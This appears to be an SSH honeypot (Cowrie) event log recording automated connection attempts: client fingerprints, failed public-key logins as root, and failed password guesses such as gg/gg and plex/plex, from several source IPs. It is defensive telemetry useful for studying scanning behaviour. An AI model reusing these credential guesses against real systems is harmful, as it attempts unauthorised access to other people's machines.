{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.399056Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.438628Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:1c:da:a5:7b:cc:f8:e0:e5:4f:c2:e0:58:1c:73:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGLI0ly5o0xQbTXLwoYhT20fvzdaN0cJMbCh5Iy3nDbtxGCX7lHqPD7Y5rfY08PYTQkn16ugcKgu1nwnS3PO2fTi+bJ5OVPIXeXKni9/z5dNgiT1J69rjMyqNW0+2cfqUswW/wppcqRqv2kIWLBhkTJAaH9qI6xXyOCkb3f0Vko1KdqEAQEKiRU07mbx8F6OPCgcTOTIyuo1//Ft5QY6h3oIFE6fTuioyNa3iRZ+MhO9+zxYavI4HZDdfz8iCcBz+jREPcez3Dnr/HpNBdDQcW/fMdzlNLQjXnflSdPFaBGSD6U5Fv+ObqeRbA0+If8K8/TKuPeYj9nNMyt70Vo4J5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:1c:da:a5:7b:cc:f8:e0:e5:4f:c2:e0:58:1c:73:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.569261Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:1c:da:a5:7b:cc:f8:e0:e5:4f:c2:e0:58:1c:73:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGLI0ly5o0xQbTXLwoYhT20fvzdaN0cJMbCh5Iy3nDbtxGCX7lHqPD7Y5rfY08PYTQkn16ugcKgu1nwnS3PO2fTi+bJ5OVPIXeXKni9/z5dNgiT1J69rjMyqNW0+2cfqUswW/wppcqRqv2kIWLBhkTJAaH9qI6xXyOCkb3f0Vko1KdqEAQEKiRU07mbx8F6OPCgcTOTIyuo1//Ft5QY6h3oIFE6fTuioyNa3iRZ+MhO9+zxYavI4HZDdfz8iCcBz+jREPcez3Dnr/HpNBdDQcW/fMdzlNLQjXnflSdPFaBGSD6U5Fv+ObqeRbA0+If8K8/TKuPeYj9nNMyt70Vo4J5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.573661Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:0c:70:80:fb:c1:64:5d:90:e3:8c:71:42:97:54:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC70+MYFqvMHK4lKQyI82hlMW7Kapvwx8CUTupQIwdv+LT+9tYiLLtyupF/ME8745BMnD/N7HAvgd2DIHaNglzEuDVREHsHhbpFEcyIvddNIkXIRqPgV8TMZVnIe3u0MXBiDW6JmhRdxknurC8fu7YjNmnqYiNgo2fKEFZ+a4k+GHSu9PKUPHyyWbJk6onY9x91sQgD7GQht2Zon7n3Y9qndWYGVBTIjtQXHbd6mZZEbGjXrdCTNqY9YmpAFRN+yRKsJlGJRpv6wv48XhYelOl3HGp1i46P6+vcHJQaKMp7zm/CNYpeOhzJa5eyqWhm2Y7bzk9mU3Zm/eF58XXu8gSkpk9SZ5HBvn2xbk3CMOle8EaJ83i+5aNXBfWDa44BhmldZfEyS2ify4GAvGrZp9s3/gsy/k+KyWznEB/J2CJ6zZCf/+o9fcEOg+t5sTeFCEvcqlxJV5Cn29mY5S5mvZaULWPO+9htHmbjLdrNoz50pOktBR2j8+r1eeoJCu7HNCnxp4qPyWYTaA9Vjmix+e5C0seLfnlBgMiXSAwK9wyZNZ4bI60zvQAUCnbvQA6wLiVVXPLbkVgXCKRPVah8oRfDvKIHFUsVSRHhcPUOWc9OzRO4mSELMabTaDVd9BqvHKR06TJSywOG3qW/6CS9V7FD5HkTLGfh//uKsfTFIPQ0TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:0c:70:80:fb:c1:64:5d:90:e3:8c:71:42:97:54:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.608040Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:0c:70:80:fb:c1:64:5d:90:e3:8c:71:42:97:54:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC70+MYFqvMHK4lKQyI82hlMW7Kapvwx8CUTupQIwdv+LT+9tYiLLtyupF/ME8745BMnD/N7HAvgd2DIHaNglzEuDVREHsHhbpFEcyIvddNIkXIRqPgV8TMZVnIe3u0MXBiDW6JmhRdxknurC8fu7YjNmnqYiNgo2fKEFZ+a4k+GHSu9PKUPHyyWbJk6onY9x91sQgD7GQht2Zon7n3Y9qndWYGVBTIjtQXHbd6mZZEbGjXrdCTNqY9YmpAFRN+yRKsJlGJRpv6wv48XhYelOl3HGp1i46P6+vcHJQaKMp7zm/CNYpeOhzJa5eyqWhm2Y7bzk9mU3Zm/eF58XXu8gSkpk9SZ5HBvn2xbk3CMOle8EaJ83i+5aNXBfWDa44BhmldZfEyS2ify4GAvGrZp9s3/gsy/k+KyWznEB/J2CJ6zZCf/+o9fcEOg+t5sTeFCEvcqlxJV5Cn29mY5S5mvZaULWPO+9htHmbjLdrNoz50pOktBR2j8+r1eeoJCu7HNCnxp4qPyWYTaA9Vjmix+e5C0seLfnlBgMiXSAwK9wyZNZ4bI60zvQAUCnbvQA6wLiVVXPLbkVgXCKRPVah8oRfDvKIHFUsVSRHhcPUOWc9OzRO4mSELMabTaDVd9BqvHKR06TJSywOG3qW/6CS9V7FD5HkTLGfh//uKsfTFIPQ0TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.612295Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:88:6c:7e:e5:be:f6:f9:98:35:03:07:da:17:66:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKb9+VWcC4OSTAszWDWKDQdtk9EJOTZXVbFlhihrsL7k5NbVWbDNHvi3u8536moTbltnfeYJQ8AOyAe+gJATgILQfzE4qmwuKmtF4PVU6PKMPmSw1SFLduPkUrvQCND8Gjhmm4TwMFtbFjKTZqPCAdYUQXVSZjawzfOmJlQQH6AcqKUzSfBDViVKXhcjdHsOwn9+lMMUXsx3mL4tRe80S/g8p2LIdEG5KycfW+stya/475QorpQfq8Sq+Xrv11Ruesi4zXiZStdScaHXXvrw4en0L33n6gCeS0f0BYhZbUhjtZuMN4Ane3lwG5SW7H+vy/UxpP0H8rSE89xtMl4IQR+ZKmhpnOucF+YVmcTf3CKHlJ4m+0JjoHFVwKQ0Ye6VWzIodOU5G7ETg1LdqYFpZvu9ybUwPzTJrv7PRV3o0HFx3xC774DJGf66ouLjNGmAiJ6kPi3mHHQO0z85n1vIrNbdFc7JXN5QVyGdJKk7f9W6epkaThOkuZMTfttLiY84SzSpeChDfu2/YEjV6Qu3avp3nmEa8eXJJdF3m9aPp2tKkdsw4mxEZcNB0OotcHBRo118LkPHjZKv+Ef03KutXQsBCEONtoJEEitLVIncXJ9c8/qYXGmwNqZWcJiv0nXG4ZBpPBkdAyjSFD/7JgDwyv9POXlQw0CcxXyPZD7SKf6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:88:6c:7e:e5:be:f6:f9:98:35:03:07:da:17:66:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.642454Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:88:6c:7e:e5:be:f6:f9:98:35:03:07:da:17:66:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKb9+VWcC4OSTAszWDWKDQdtk9EJOTZXVbFlhihrsL7k5NbVWbDNHvi3u8536moTbltnfeYJQ8AOyAe+gJATgILQfzE4qmwuKmtF4PVU6PKMPmSw1SFLduPkUrvQCND8Gjhmm4TwMFtbFjKTZqPCAdYUQXVSZjawzfOmJlQQH6AcqKUzSfBDViVKXhcjdHsOwn9+lMMUXsx3mL4tRe80S/g8p2LIdEG5KycfW+stya/475QorpQfq8Sq+Xrv11Ruesi4zXiZStdScaHXXvrw4en0L33n6gCeS0f0BYhZbUhjtZuMN4Ane3lwG5SW7H+vy/UxpP0H8rSE89xtMl4IQR+ZKmhpnOucF+YVmcTf3CKHlJ4m+0JjoHFVwKQ0Ye6VWzIodOU5G7ETg1LdqYFpZvu9ybUwPzTJrv7PRV3o0HFx3xC774DJGf66ouLjNGmAiJ6kPi3mHHQO0z85n1vIrNbdFc7JXN5QVyGdJKk7f9W6epkaThOkuZMTfttLiY84SzSpeChDfu2/YEjV6Qu3avp3nmEa8eXJJdF3m9aPp2tKkdsw4mxEZcNB0OotcHBRo118LkPHjZKv+Ef03KutXQsBCEONtoJEEitLVIncXJ9c8/qYXGmwNqZWcJiv0nXG4ZBpPBkdAyjSFD/7JgDwyv9POXlQw0CcxXyPZD7SKf6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.647682Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:47:c4:5a:00:8b:15:13:8e:e2:bf:2a:2f:02:62:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtFJm7ZgoayGrZqJEpjFXoOkmA46ySvC+p8UYnf0kL5h51X6T3/OwwTr3yz6u3GvYsMblLJMztWvGCnfZWunSYcVcvI/EyrUpXajQuHU3YkLp2k5UZX6GNPTs/T42vhKUQ0xubqg/cbItKMarb2Lq6ZJktEvS4erciaglwAmT1v5X9ObImEO+Ed1A306IXvY+1VJFRs2Bk3wivxnB97Q+oxan1AmkZZp1sq7DCEyiYOGb9WKsSShFpgnaFE9ZxX3OqYFIvlhCfQ579GW4Wxr2gfyVMeuIOzy7QlYjXWS5hDamheSyrfrEdKy8pWnC31AuUeE9Q6UrEXv57o3LsK52C7/wvFK7k68muqcZAdLiKhE6EK/OjICOIT9HFZ0U2QqeKIEIpG2+rRhvd9eyOvq7zy/qiWCN73AbqJVAku7ICVXE8caeFJ7pE5CgJQA9Jns4l9R8yPvPr128IoR5D9QHWrNTRUhC8mYNW32SSw2xjfazpSvJuwFYfV357SQ9uBfKgR7CknycW+SZ6j4XvhzwOd5jC5YrH3HSovm4YUaNqwjZnqA+CFhwQFVAvUYoxvCTTRNWZMtXD+HyCC3vagZmD32qQYCHPcv3pLMHr1QjrZVlmx322FZDXL494pklqYm2ZBQFWLxWEclRpYcYo39IxyhVU/r4JaR5BtlzHXtr6GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:47:c4:5a:00:8b:15:13:8e:e2:bf:2a:2f:02:62:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.679059Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:47:c4:5a:00:8b:15:13:8e:e2:bf:2a:2f:02:62:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtFJm7ZgoayGrZqJEpjFXoOkmA46ySvC+p8UYnf0kL5h51X6T3/OwwTr3yz6u3GvYsMblLJMztWvGCnfZWunSYcVcvI/EyrUpXajQuHU3YkLp2k5UZX6GNPTs/T42vhKUQ0xubqg/cbItKMarb2Lq6ZJktEvS4erciaglwAmT1v5X9ObImEO+Ed1A306IXvY+1VJFRs2Bk3wivxnB97Q+oxan1AmkZZp1sq7DCEyiYOGb9WKsSShFpgnaFE9ZxX3OqYFIvlhCfQ579GW4Wxr2gfyVMeuIOzy7QlYjXWS5hDamheSyrfrEdKy8pWnC31AuUeE9Q6UrEXv57o3LsK52C7/wvFK7k68muqcZAdLiKhE6EK/OjICOIT9HFZ0U2QqeKIEIpG2+rRhvd9eyOvq7zy/qiWCN73AbqJVAku7ICVXE8caeFJ7pE5CgJQA9Jns4l9R8yPvPr128IoR5D9QHWrNTRUhC8mYNW32SSw2xjfazpSvJuwFYfV357SQ9uBfKgR7CknycW+SZ6j4XvhzwOd5jC5YrH3HSovm4YUaNqwjZnqA+CFhwQFVAvUYoxvCTTRNWZMtXD+HyCC3vagZmD32qQYCHPcv3pLMHr1QjrZVlmx322FZDXL494pklqYm2ZBQFWLxWEclRpYcYo39IxyhVU/r4JaR5BtlzHXtr6GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.683328Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:6c:e5:fa:db:dc:42:92:c7:cf:7d:11:cf:b3:70:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIHJiwVHpjQV/in9fJA5yUCkWl7pVRMk6w1OSmm0d97W26sEWx6R84D3MKOCRILe82h4Rpv9G1FSvP7flXjMtZpDQyvuco9yfamNMsEIA2DUHDU9PiP5rkXaU/Gg0Y70nvLtsm02zTHcCHiTL8PJxoB6etX8bx3/y4LzhpJCuTqJsms04j1S9ucldniSIuSH0v5vnT/PE1of5cqtrHxS1MiZ5ERmPLP64hr2KgjXimcK8a+blpf8oHYsUCE7WxfSZPPUaNGRq/AVgX108na9czmn4CiTBpRe1xq1tzqjUDsi1Md1kor/GlXQf9wlgmJEMf5NJjf4c/Gex42v3ALJraosRNcmxuokb1p1OJbyxu/b8sfciRhi+RYJFyXVK3uc2VGuj52ZVNu0aJi/deSV8IWvhDlZem8Z0yeF780p1KJjRK9KY476QBrZHNJjSSdtNscQQ4LWhU0s060wCLeZRQW3aRRg8KB2nWfOvP/hwWpSAqSPVl9DcBnaVtA/e/ymZQm4QVxOm/yjERtYuSTpxgmbtjiCwBqk5T4wKPKRxhGUITL+aUAFhepMSDu/xV1XV5aqmt2UcHW6D2+98jMWWqefow7lcteaJf9j9liXWDnuRaaZfo2GjTYHcvO16F/QI4bgrxJaeMcjZDqzTb6DG/iuCq00TXWHCL8sD983/obQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:6c:e5:fa:db:dc:42:92:c7:cf:7d:11:cf:b3:70:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.717695Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:6c:e5:fa:db:dc:42:92:c7:cf:7d:11:cf:b3:70:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIHJiwVHpjQV/in9fJA5yUCkWl7pVRMk6w1OSmm0d97W26sEWx6R84D3MKOCRILe82h4Rpv9G1FSvP7flXjMtZpDQyvuco9yfamNMsEIA2DUHDU9PiP5rkXaU/Gg0Y70nvLtsm02zTHcCHiTL8PJxoB6etX8bx3/y4LzhpJCuTqJsms04j1S9ucldniSIuSH0v5vnT/PE1of5cqtrHxS1MiZ5ERmPLP64hr2KgjXimcK8a+blpf8oHYsUCE7WxfSZPPUaNGRq/AVgX108na9czmn4CiTBpRe1xq1tzqjUDsi1Md1kor/GlXQf9wlgmJEMf5NJjf4c/Gex42v3ALJraosRNcmxuokb1p1OJbyxu/b8sfciRhi+RYJFyXVK3uc2VGuj52ZVNu0aJi/deSV8IWvhDlZem8Z0yeF780p1KJjRK9KY476QBrZHNJjSSdtNscQQ4LWhU0s060wCLeZRQW3aRRg8KB2nWfOvP/hwWpSAqSPVl9DcBnaVtA/e/ymZQm4QVxOm/yjERtYuSTpxgmbtjiCwBqk5T4wKPKRxhGUITL+aUAFhepMSDu/xV1XV5aqmt2UcHW6D2+98jMWWqefow7lcteaJf9j9liXWDnuRaaZfo2GjTYHcvO16F/QI4bgrxJaeMcjZDqzTb6DG/iuCq00TXWHCL8sD983/obQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.722311Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.760039Z","src_ip":"68.235.37.251","session":"f780168ed9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:11.397050Z","src_ip":"8.218.166.49","session":"5700c86bc078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:17.503056Z","src_ip":"8.218.166.49","session":"5700c86bc078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:18.122154Z","src_ip":"8.218.166.49","session":"24a123fce5d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:26.315466Z","src_ip":"8.218.166.49","session":"dccfb8bac0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60328,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f2d72b4230","protocol":"ssh","message":"New connection: 194.59.206.2:60328 (10.17.0.5:22) [session: 99f2d72b4230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:27.563490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:27.591325Z","src_ip":"194.59.206.2","session":"99f2d72b4230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:27.651005Z","src_ip":"194.59.206.2","session":"99f2d72b4230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:27.818122Z","src_ip":"194.59.206.2","session":"99f2d72b4230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"84.5","message":"Connection lost after 84.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:45.693367Z","src_ip":"8.218.166.49","session":"dccfb8bac0b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:54.469881Z","src_ip":"8.218.166.49","session":"1eb854dbb086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:54.476963Z","src_ip":"8.218.166.49","session":"1eb854dbb086","protocol":"ssh"}
